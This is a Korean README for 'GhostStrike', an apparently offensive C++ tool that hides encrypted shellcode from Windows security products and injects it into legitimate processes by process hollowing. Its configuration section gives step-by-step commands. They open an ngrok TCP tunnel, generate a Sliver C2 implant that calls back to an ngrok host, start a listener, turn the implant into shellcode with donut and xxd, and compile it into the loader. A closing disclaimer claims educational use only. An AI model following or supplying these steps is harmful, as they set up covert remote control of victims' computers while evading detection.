GhostStrike ⚔️

GhostStrike는 Red Team 운영을 위해 설계된 고급 사이버보안 도구로, Windows 시스템에서 탐지를 회피하고 프로세스 할로잉(process hollowing)을 수행하는 정교한 기법을 갖추고 있습니다.

✨ 기능

동적 API 해석: 사용자 정의 해시 기반 방식을 활용하여 Windows API를 동적으로 해석함으로써 시그니처 기반 보안 도구의 탐지를 회피합니다.
Base64 인코딩/디코딩: 셸코드를 인코딩 및 디코딩하여 메모리 내 존재를 은폐함으로써 정적 분석 도구가 탐지하기 더 어렵게 만듭니다.
암호화 키 생성: Windows 암호화 API를 사용하여 안전한 암호화 키를 생성해 셸코드를 암호화 및 복호화함으로써 추가적인 보호 계층을 더합니다.
XOR 암호화/복호화: 주입 과정에서 셸코드를 보호하기 위한 단순하지만 효과적인 XOR 기반 암호화입니다.
제어 흐름 평탄화: 제어 흐름 평탄화를 구현하여 실행 경로를 난독화함으로써 정적 및 동적 분석 도구 모두의 분석을 복잡하게 만듭니다.
프로세스 할로잉: 암호화된 셸코드를 정상적인 Windows 프로세스에 주입하여 의심을 불러일으키지 않고 은밀하게 실행되도록 합니다.

⚙️ 구성

다음 단계를 통해 GhostStrike를 구성할 수 있습니다:

Ngrok 서비스 생성: ngrok tcp 443
Sliver C2 임플란트 생성: generate --mtls x.tcp.ngrok.io --save YourFile.exe
리스너 생성: mtls --lhost 0.0.0.0 --lport 443
.bin으로 변환: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
C++ 셸코드로 변환: xxd -i YourFile.bin > YourFile.h
YourFile.h를 이 코드로 가져오기
컴파일하고 즐기세요! 🚀

💻 요구 사항

C++ 컴파일러: g++, clang++, 또는 Visual Studio와 같은 최신 C++ 컴파일러라면 코드를 컴파일하기에 충분합니다.

GhostStrike를 빌드하는 데 추가 종속성은 필요하지 않습니다. 선호하는 C++ 컴파일러로 소스 코드를 컴파일하기만 하면 바로 사용할 수 있습니다!

⚠️ 면책 조항

이 도구는 오직 교육 목적 및 통제된 환경에서의 사용만을 위해 제공됩니다. 이러한 환경 외부에서 GhostStrike를 무단으로 사용하는 것은 엄격히 금지됩니다. 작성자 @Stiven.Hacker는 이 코드로 인해 발생하는 어떠한 오용이나 손해에 대해서도 책임을 지지 않습니다.

🎥 데모

LinkedIn에서 GhostStrike가 실제로 작동하는 라이브 데모를 확인해 보세요:

데모 보기

GhostStrike